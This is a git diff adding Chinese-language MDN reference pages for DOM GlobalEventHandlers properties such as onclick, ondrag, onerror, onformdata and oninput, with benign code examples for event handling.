当用户点击一个元素时,会触发 click 事件。在每次点击的整个过程中,click 事件的运行顺序在 {{event("mousedown")}} 和 {{event("mouseup")}} 事件之后。

+ +
注意:当你使用 click 事件去触发一个动作时,也要考虑向 {{event("keydown")}} 事件添加此动作,以便允许不使用鼠标或触摸屏的用户进行同样的操作。
+ +

语法

+ +
element.onclick = functionRef;
+
+ +

functionRef 是一个函数名称,或一个函数表达式。该函数接收 {{domxref("MouseEvent")}} 对象作为其唯一参数。在函数内,this 是触发当前事件的元素。

+ +

同一时刻,每个 onclick 接收器只能指向唯一一个对象。所以,你可能更倾向于使用{{domxref("EventTarget.addEventListener()")}} 的方法,这种方法更加灵活,同时也是 DOM 事件规范格式。

+ +

例子

+ +

这个例子会记录每次点击的坐标。

+ +

HTML

+ +
<p>请随意点击本例子。</p>
+<p id="log"></p>
+ +

JavaScript

+ +
let log = document.getElementById('log');
+
+document.onclick = inputChange;
+
+function inputChange(e) {
+  log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

也可以使用匿名函数:

+ +
p.onclick = function() { alert("moot!"); };
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.GlobalEventHandlers.onclick")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onclose/index.html b/files/zh-cn/web/api/globaleventhandlers/onclose/index.html new file mode 100644 index 0000000000..f7061e8243 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onclose/index.html @@ -0,0 +1,67 @@ +--- +title: GlobalEventHandlers.onclose +slug: Web/API/GlobalEventHandlers/onclose +tags: + - API + - Dialog + - Event Handler + - GlobalEventHandlers + - HTML DOM + - 参考 + - 实验性的 + - 属性 + - 需要示例 +translation_of: Web/API/GlobalEventHandlers/onclose +--- +
{{ApiRef("HTML DOM")}} {{SeeCompatTable}}
+ +

{{domxref("GlobalEventHandlers")}} mixin 的 onclose 属性是一个 {{domxref("EventHandler")}}, 用来处理发送给 {{HTMLElement("dialog")}} 元素的 {{event("close")}} 事件。

+ +

当用户关闭一个 <dialog> 时,close 事件将被触发。

+ +
+

注意:如果要处理 window 的关闭,使用 {{domxref("WindowEventHandlers.onbeforeunload", "onbeforeunload")}} 或 {{domxref("WindowEventHandlers.onunload", "onunload")}}.

+
+ +

语法

+ +
target.onclose = functionRef;
+ +

参数

+ +

functionRef 是一个函数名称或 函数表达式。 该函数接受一个 {{domxref("Event")}} 对象作为它唯一的参数。

+ +

每次只能给一个对象添加 onclose 回调。 你可能更喜欢使用 {{domxref("EventTarget.addEventListener()")}} 方法,因为它更加灵活。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态文档
{{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onclose")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/oncontextmenu/index.html b/files/zh-cn/web/api/globaleventhandlers/oncontextmenu/index.html new file mode 100644 index 0000000000..b8f5b92aa3 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/oncontextmenu/index.html @@ -0,0 +1,28 @@ +--- +title: GlobalEventHandlers.oncontextmenu +slug: Web/API/GlobalEventHandlers/oncontextmenu +translation_of: Web/API/GlobalEventHandlers/oncontextmenu +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

获取或设置当前窗口contextmenu事件的事件处理函数。除非默认行为已经阻止了(看下面的例子是如何阻止的),否则右键菜单会被激活。注意此事件会发生在没有阻止右键事件的情况下而且这不取决于此元素是否拥有了"contextmenu"属性.

+ +

语法

+ +
window.oncontextmenu = funcRef;
+//funcRef是个函数引用
+
+ +

例子

+ +

这个例子会取消页面右键的功能:

+ +
window.oncontextmenu = function () {
+   return false;
+}
+//该窗口禁止使用右键
+
+ +

{{ languages( {"en": "en/DOM/window.oncontextmenu" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/oncuechange/index.html b/files/zh-cn/web/api/globaleventhandlers/oncuechange/index.html new file mode 100644 index 0000000000..001cf49c01 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/oncuechange/index.html @@ -0,0 +1,53 @@ +--- +title: GlobalEventHandlers.oncuechange +slug: Web/API/GlobalEventHandlers/oncuechange +tags: + - API + - Event Handler + - GlobalEventHandlers + - 事件处理函数 +translation_of: Web/API/GlobalEventHandlers/oncuechange +--- +
{{ ApiRef("HTML DOM") }}
+ +
oncuechange 属性属于{{domxref("GlobalEventHandlers")}},是一个处理{{event("cuechange")}}事件的{{domxref("EventHandler")}}。
+ +
当{{domxref("TextTrack")}}更改了当前显示的提示时,cuechange 事件将会触发。
+ +

语法

+ +
element.oncuechange = handlerFunction;
+var handlerFunction = element.oncuechange;
+
+ +

handlerFunction 可以为 null,也可以是一个处理指定事件的JavaScript函数

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-oncuechange','oncuechange')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.oncuechange")}}

+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ondblclick/index.html b/files/zh-cn/web/api/globaleventhandlers/ondblclick/index.html new file mode 100644 index 0000000000..9fa956b1c2 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ondblclick/index.html @@ -0,0 +1,71 @@ +--- +title: GlobalEventHandlers.ondblclick +slug: Web/API/GlobalEventHandlers/ondblclick +translation_of: Web/API/GlobalEventHandlers/ondblclick +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

ondblclick属性用来获取或设置当前元素的dblclick事件的事件处理函数.

+ +

语法

+ +
element.ondblclick = function;
+
+ + + +
element.ondblclick = function() { alert("触发了dblclick事件!"); };
+
+ +

例子

+ +
<html>
+
+<head>
+<title>ondblclick示例演示</title>
+
+<script type="text/javascript">
+
+function initElement()
+ {
+ var p = document.getElementById("foo");
+ // 注意:这里写成showAlert()或者 showAlert(参数)是不对的.
+ // 必须是一个函数名,而不是函数调用.
+ p.ondblclick = showAlert;
+ };
+
+function showAlert()
+ {
+ alert("检测到dblclick事件!")
+ }
+</script>
+
+<style type="text/css">
+<!--
+#foo {
+border: solid blue 2px;
+}
+-->
+</style>
+</head>
+
+<body onload="initElement()";>
+<span id="foo">这是一个元素</span>
+<p>双击上面的元素会触发dblclick事件.</p>
+</body>
+</html>
+
+ +

备注

+ +

在当前元素上双击鼠标左键会触发dblclick事件.

+ +

规范

+ +

不属于任何公开的规范.

+ +

{{ languages( { "fr": "fr/DOM/element.ondblclick","zh-cn": "zh-cn/DOM/element.ondblclick" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/ondrag/index.html b/files/zh-cn/web/api/globaleventhandlers/ondrag/index.html new file mode 100644 index 0000000000..1dda206be3 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ondrag/index.html @@ -0,0 +1,111 @@ +--- +title: GlobalEventHandlers.ondrag +slug: Web/API/GlobalEventHandlers/ondrag +translation_of: Web/API/GlobalEventHandlers/ondrag +--- +
{{ApiRef("HTML DOM")}}
+ +

一个{{event("drag")}}事件的{{domxref("GlobalEventHandlers","global event handler")}}。

+ +

语法

+ +
var dragHandler = targetElement.ondrag;
+
+ +

返回值

+ +
+
dragHandler
+
元素 targetElementdrag事件handler。
+
+ +

例子

+ +

这个例子展示了使用ondrag属性handler设置一个元素的drag事件handler。

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Examples of using the ondrag Global Event Attribute</title>
+<meta content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+</head>
+<script>
+function drag_handler(ev) {
+ console.log("Drag");
+}
+
+function dragstart_handler(ev) {
+ console.log("dragStart");
+ ev.dataTransfer.setData("text", ev.target.id);
+}
+
+function drop_handler(ev) {
+ console.log("Drop");
+ ev.currentTarget.style.background = "lightyellow";
+
+ ev.preventDefault();
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+}
+</script>
+<body>
+<h1>Examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1>
+ <div> <!-- <div class="source"> -->
+   <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true">
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
+ </div>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "indices.html#ix-handler-ondrag", "ondrag")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5.1", "index.html#ix-handler-ondrag", "ondrag")}}{{Spec2("HTML5.1")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.ondrag")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ondragleave/index.html b/files/zh-cn/web/api/globaleventhandlers/ondragleave/index.html new file mode 100644 index 0000000000..bce1cf2d8d --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ondragleave/index.html @@ -0,0 +1,196 @@ +--- +title: GlobalEventHandlers.ondragleave +slug: Web/API/GlobalEventHandlers/ondragleave +translation_of: Web/API/GlobalEventHandlers/ondragleave +--- +
{{ApiRef("HTML DOM")}}
+ +

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("dragleave")}} event.

+ +

Syntax

+ +
var dragleaveHandler = targetElement.ondragleave;
+
+ +

Return value

+ +
+
dragleaveHandler
+
The dragleave event handler for element targetElement.
+
+ +

Example

+ +

This example demonstrates using the {{domxref("GlobalEventHandlers.ondragleave","ondragleave")}} attribute handler to set an element's {{event("dragleave")}} event handler.

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Examples of using the Drag and Drop Global Event Attribute</title>
+<meta content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+</head>
+<script>
+function dragstart_handler(ev) {
+ console.log("dragStart");
+ // Change the source element's border to signify drag has started
+ ev.currentTarget.style.border = "dashed";
+ ev.dataTransfer.setData("text", ev.target.id);
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ // Change the target element's background color to signify a drag over event
+ // has occurred
+ ev.currentTarget.style.background = "lightblue";
+ ev.preventDefault();
+}
+
+function drop_handler(ev) {
+ console.log("Drop");
+ ev.preventDefault();
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+
+function dragenter_handler(ev) {
+ console.log("dragEnter");
+ // Change the source element's background color for enter events
+ ev.currentTarget.style.background = "yellow";
+}
+
+function dragleave_handler(ev) {
+ console.log("dragLeave");
+ // Change the source element's background color back to white
+ ev.currentTarget.style.background = "white";
+}
+
+function dragend_handler(ev) {
+ console.log("dragEnd");
+ // Change the target element's background color to visually indicate
+ // the drag ended.
+ var el=document.getElementById("target");
+ el.style.background = "pink";
+}
+
+function dragexit_handler(ev) {
+ console.log("dragExit");
+ // Change the source element's background color back to green to signify a dragexit event
+ ev.currentTarget.style.background = "green";
+}
+
+function init() {
+ // Set handlers for the source's enter/leave/end/exit events
+ var el=document.getElementById("source");
+ el.ondragenter = dragenter_handler;
+ el.ondragleave = dragleave_handler;
+ el.ondragend = dragend_handler;
+ el.ondragexit = dragexit_handler;
+}
+</script>
+<body onload="init();">
+<h1>Examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1>
+ <div>
+   <p id="source" ondragstart="dragstart_handler(event);" draggable="true">
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
+ </div>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#ix-handler-ondragleave", "ondragleave")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "index.html#ix-handler-ondragleave", "ondragleave")}}{{Spec2("HTML5.1")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ondrop/index.html b/files/zh-cn/web/api/globaleventhandlers/ondrop/index.html new file mode 100644 index 0000000000..3de1e294a8 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ondrop/index.html @@ -0,0 +1,159 @@ +--- +title: GlobalEventHandlers.ondrop +slug: Web/API/GlobalEventHandlers/ondrop +translation_of: Web/API/GlobalEventHandlers/ondrop +--- +
drop 事件的全局处理函数
+ +

语法

+ +
var dropHandler = targetElement.ondrop;
+
+ +

返回值

+ +
+
dropHandler
+
目标元素的 drop 事件处理函数。
+
+ +

Example

+ +

下面这个示例演示了 ondrop 属性的用法来指定 drop 事件的处理函数。

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Examples of using the ondrag Global Event Attribute</title>
+<meta content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+</head>
+<script>
+function drag_handler(ev) {
+ console.log("Drag");
+}
+
+function dragstart_handler(ev) {
+ console.log("dragStart");
+ ev.dataTransfer.setData("text", ev.target.id);
+}
+
+function drop_handler(ev) {
+ console.log("Drop");
+ ev.currentTarget.style.background = "lightyellow";
+
+ ev.preventDefault();
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+}
+</script>
+<body>
+<h1>Examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1>
+ <div class="source">
+   <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true">
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
+ </div>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#ix-handler-ondrop", "ondrop")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "index.html#ix-handler-ondrop", "ondrop")}}{{Spec2("HTML5.1")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onended/index.html b/files/zh-cn/web/api/globaleventhandlers/onended/index.html new file mode 100644 index 0000000000..cd744371fa --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onended/index.html @@ -0,0 +1,48 @@ +--- +title: GlobalEventHandlers.onended +slug: Web/API/GlobalEventHandlers/onended +translation_of: Web/API/GlobalEventHandlers/onended +--- +
{{ ApiRef("HTML DOM") }}
+ +

The onended property of the {{domxref("GlobalEventHandlers")}} mixin is the {{domxref("EventHandler")}} for processing {{event("ended")}} events.

+ +

The ended event is fired when playback has stopped because the end of the media was reached.

+ +

语法

+ +
element.onended = handlerFunction;
+var handlerFunction = element.onended;
+
+ +

handlerFunction 可以为 null 或者具体的事件响应函数。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-onended','onended')}}{{Spec2('HTML WHATWG')}} 
+ +

 浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onended")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onerror/index.html b/files/zh-cn/web/api/globaleventhandlers/onerror/index.html new file mode 100644 index 0000000000..2f06929c48 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onerror/index.html @@ -0,0 +1,114 @@ +--- +title: GlobalEventHandlers.onerror +slug: Web/API/GlobalEventHandlers/onerror +tags: + - API + - Property + - Reference +translation_of: Web/API/GlobalEventHandlers/onerror +--- +
{{ApiRef("HTML DOM")}}
+ +
混合事件 {{domxref("GlobalEventHandlers")}} 的 onerror 属性是用于处理 {{event("error")}} 的事件
+ +
+ +

Error事件的事件处理程序,在各种目标对象的不同类型错误被触发:

+ + + +

加载一个全局的error事件处理函数可用于自动收集错误报告。

+ +

语法

+ +

由于历史原因,window.onerrorelement.onerror接受不同的参数。

+ +

window.onerror

+ +
window.onerror = function(message, source, lineno, colno, error) { ... }
+
+ +

函数参数:

+ + + +

若该函数返回true,则阻止执行默认事件处理函数。

+ +

window.addEventListener('error')

+ +
window.addEventListener('error', function(event) { ... })
+
+ +

{{domxref("ErrorEvent")}} 类型的event包含有关事件和错误的所有信息。

+ +

element.onerror

+ +
element.onerror = function(event) { ... }
+
+ +

element.onerror使用单一{{domxref("Event")}}参数的函数作为其处理函数。

+ +

注意事项

+ +

当加载自不同域的脚本中发生语法错误时,为避免信息泄露(参见{{bug("363897")}}),语法错误的细节将不会报告,而代之简单的"Script error."。在某些浏览器中,通过在{{HTMLElement("script")}}使用{{htmlattrxref("crossorigin","script")}}属性并要求服务器发送适当的 CORS HTTP 响应头,该行为可被覆盖。一个变通方案是单独处理"Script error.",告知错误详情仅能通过浏览器控制台查看,无法通过JavaScript访问。

+ +
window.onerror = function (msg, url, lineNo, columnNo, error) {
+    var string = msg.toLowerCase();
+    var substring = "script error";
+    if (string.indexOf(substring) > -1){
+        alert('Script Error: See Browser Console for Detail');
+    } else {
+        var message = [
+            'Message: ' + msg,
+            'URL: ' + url,
+            'Line: ' + lineNo,
+            'Column: ' + columnNo,
+            'Error object: ' + JSON.stringify(error)
+        ].join(' - ');
+
+        alert(message);
+    }
+
+    return false;
+};
+ +

当使用行内HTML标签(<body onerror="alert('an error occurred')">)时,HTML规范要求传递给onerror的参数命名为eventsourcelinenocolnoerror。针对不满足此要求的浏览器,传递的参数仍可使用arguments[0]arguments[2]来获取。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG','webappapis.html#handler-onerror','onerror')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

在Firefox 14之前,当{{HTMLElement("script")}}加载失败时,window.onerror被传入"Error loading script"信息。该bug已在{{bug("737087")}}修复,取而代之,在这种情况下,scriptElement.onerror将被触发。

+ +

自Firefox 31始加入最后两个参数(colno and error),意味着通过提供的Error对象,你可以从window.onerror访问脚本错误的stack trace({{bug("355430")}}。)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onfocus/index.html b/files/zh-cn/web/api/globaleventhandlers/onfocus/index.html new file mode 100644 index 0000000000..8e9b37c28e --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onfocus/index.html @@ -0,0 +1,27 @@ +--- +title: GlobalEventHandlers.onfocus +slug: Web/API/GlobalEventHandlers/onfocus +translation_of: Web/API/GlobalEventHandlers/onfocus +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

onfocus 属性用来获取或设置当前元素的focus事件的事件处理函数.

+ +

语法

+ +
element.onfocus = event handling code
+
+ +

备注

+ +

当前元素获得键盘焦点时会触发focus事件.

+ +

在IE中,几乎所有类型的元素都会触发focus事件, 但在Gecko中,只有少数几种类型的元素会触发focus事件.

+ +

规范

+ +

不属于任何公开的规范.

+ +

{{ languages( { "fr": "fr/DOM/element.onfocus","en": "en/DOM/element.onfocus" } ) }}

diff --git a/files/zh-cn/web/api/globaleventhandlers/onformdata/index.html b/files/zh-cn/web/api/globaleventhandlers/onformdata/index.html new file mode 100644 index 0000000000..1ed9c9b0ac --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onformdata/index.html @@ -0,0 +1,85 @@ +--- +title: GlobalEventHandlers.onformdata +slug: Web/API/GlobalEventHandlers/onformdata +translation_of: Web/API/GlobalEventHandlers/onformdata +--- +
{{ApiRef("HTML DOM")}}
+ +
+ +

{{domxref("GlobalEventHandlers")}} 混入对象(mixin)的属性onformdata 是用于处理 {{event("formdata")}} 事件的, 它在整个列表展示所构建的表单数据之后被触发。触发会发生在表单发送时,但也可能由对某个{{domxref("FormData.FormData", "FormData()")}} 结构体的调用所触发。onformdata 在 {{domxref("HTMLFormElement")}}上有效。

+ +

语法

+ +
target.onformdata = functionRef;
+
+ +

Value

+ +

functionRef 是一个函数名或者称为 function expression. 此函数接受一个{{domxref("FormDataEvent")}}对象作为其唯一表达式参数。

+ +

示例

+ +
// grab reference to form
+
+const formElem = document.querySelector('form');
+
+// submit handler
+
+formElem.addEventListener('submit', (e) => {
+  // on form submission, prevent default
+  e.preventDefault();
+
+  // construct a FormData object, which fires the formdata event
+  new FormData(formElem);
+});
+
+// formdata handler to retrieve data
+
+formElem.onformdata = (e) => {
+  console.log('formdata fired');
+
+  // Get the form data from the event object
+  let data = e.formData;
+  for (var value of data.values()) {
+    console.log(value);
+  }
+
+  // submit the data via XHR
+  var request = new XMLHttpRequest();
+  request.open("POST", "/formHandler");
+  request.send(data);
+};
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG','webappapis.html#handler-onformdata','onformdata')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.GlobalEventHandlers.onformdata")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/ongotpointercapture/index.html b/files/zh-cn/web/api/globaleventhandlers/ongotpointercapture/index.html new file mode 100644 index 0000000000..84acc36582 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ongotpointercapture/index.html @@ -0,0 +1,115 @@ +--- +title: GlobalEventHandlers.ongotpointercapture +slug: Web/API/GlobalEventHandlers/ongotpointercapture +translation_of: Web/API/GlobalEventHandlers/ongotpointercapture +--- +

{{ApiRef("HTML DOM")}}

+ +

ongotpointercapture 事件是GlobalEventHandlers的属性,这个事件返回gotpointercapture类型的事件操作。

+ +

语法

+ +
window.ongotpointercapture = functionReference
+
+ +

例子

+ +
<html>
+<script>
+function overHandler(ev) {
+ // Determine the target event's gotpointercapture handler
+ var gotCaptureHandler = ev.target.ongotpointercapture;
+}
+function init() {
+ var el=document.getElementById("target");
+ el.ongotpointercapture = overHandler;
+}
+</script>
+<body onload="init();">
+<div id="target"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#the-gotpointercapture-event', 'onlostpointercapture')}}{{Spec2('Pointer Events 2')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(57.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(44)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(57.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(44)}}{{CompatUnknown}}{{CompatChrome(57.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/oninput/index.html b/files/zh-cn/web/api/globaleventhandlers/oninput/index.html new file mode 100644 index 0000000000..6118a8cc8e --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/oninput/index.html @@ -0,0 +1,81 @@ +--- +title: GlobalEventHandlers.oninput +slug: Web/API/GlobalEventHandlers/oninput +tags: + - API + - Event Handler +translation_of: Web/API/GlobalEventHandlers/oninput +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}}mixin的oninput属性是{{domxref("EventHandler")}},它处理{{HTMLElement("input")}},{{HTMLElement("select")}}和 {{HTMLElement("textarea")}} 元素上的 {{event("input")}} 事件。 它还会在{{domxref("HTMLElement.contentEditable", "contenteditable")}} 或 {{domxref("Document.designMode", "designMode")}}打开的元素上处理这些事件。

+ +
+

注意:与oninput不同的是, {{domxref("GlobalEventHandlers.onchange", "onchange")}} 事件处理程序不一定会针对元素值的每次更改而调用。

+
+ +

语法

+ +
target.oninput = functionRef;
+ +

+ +

functionRef是一个函数名或函数表达式。该函数接收{{domxref("InputEvent")}} 对象作为唯一参数。

+ +

示例

+ +

HTML

+ +
<input type="text" placeholder="Type something here to see its length."size="50"> <p id="log"></p>
+ +

JavaScript

+ +
let input = document.querySelector('input');
+let log =document.getElementById('log');
+input.oninput = handleInput;
+function handleInput(e) {
+  log.textContent = `The field's value is${e.target.value.length} character(s) long.`;
+}
+ +

结果

+ +

{{EmbedLiveSample("示例")}}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#ix-handler-oninput", "oninput")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.GlobalEventHandlers.oninput")}}

+ +

The following links discuss compatibility issues and fixes that may be helpful when working with older browsers:

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/oninvalid/index.html b/files/zh-cn/web/api/globaleventhandlers/oninvalid/index.html new file mode 100644 index 0000000000..c192d2ee5e --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/oninvalid/index.html @@ -0,0 +1,98 @@ +--- +title: GlobalEventHandlers.oninvalid +slug: Web/API/GlobalEventHandlers/oninvalid +tags: + - API + - GlobalEventHandlers + - 事件句柄 + - 属性 + - 引用 +translation_of: Web/API/GlobalEventHandlers/oninvalid +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} 混合的oninvalid属性 是 {{domxref("EventHandler")}} 处理{{event("invalid")}} 事件。

+ +

invalid 事件被触发当一个从属元素被勾选checked 并且与之前的选中方式不同。 有效的从属元素在表单之前被选中, 或者在 checkValidity() 方法之后它自己的表单被调用。

+ +

语法

+ +
target.oninvalid = functionRef;
+var functionRef = target.oninvalid;
+
+ +

+ +

functionRef是一个函数名称 或者 称为 函数表达式。这个函数需要{{domxref("Event")}} 对象做为它的参数。

+ +

例子

+ +

这个例子用一个表单说明oninvalid 和 {{domxref("GlobalEventHandlers.onsubmit", "onsubmit")}} 事件 句柄。

+ +

HTML

+ +
<form id="form">
+  <p id="error" hidden>Please fill out all fields.</p>
+
+  <label for="city">City</label>
+  <input type="text" id="city" required>
+
+  <button type="submit">Submit</button>
+</form>
+<p id="thanks" hidden>Your data has been received. Thanks!</p>
+ +

JavaScript

+ +
const form = document.getElementById('form');
+const error = document.getElementById('error');
+const city = document.getElementById('city');
+const thanks = document.getElementById('thanks');
+
+city.oninvalid = invalid;
+form.onsubmit = submit;
+
+function invalid(event) {
+  error.removeAttribute('hidden');
+}
+
+function submit(event) {
+  form.setAttribute('hidden', '');
+  thanks.removeAttribute('hidden');
+
+  // For this example, don't actually submit the form
+  event.preventDefault();
+}
+ +

结果

+ +

{{EmbedLiveSample("Example")}}

+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#handler-oninvalid','oninvalid')}}{{Spec2('HTML WHATWG')}} 
+ +

支持的浏览器

+ + + +

{{Compat("api.GlobalEventHandlers.oninvalid")}}

+ +

请参阅

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/onkeydown/index.html b/files/zh-cn/web/api/globaleventhandlers/onkeydown/index.html new file mode 100644 index 0000000000..663b271fbb --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/onkeydown/index.html @@ -0,0 +1,25 @@ +--- +title: GlobalEventHandlers.onkeydown +slug: Web/API/GlobalEventHandlers/onkeydown +translation_of: Web/API/GlobalEventHandlers/onkeydown +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

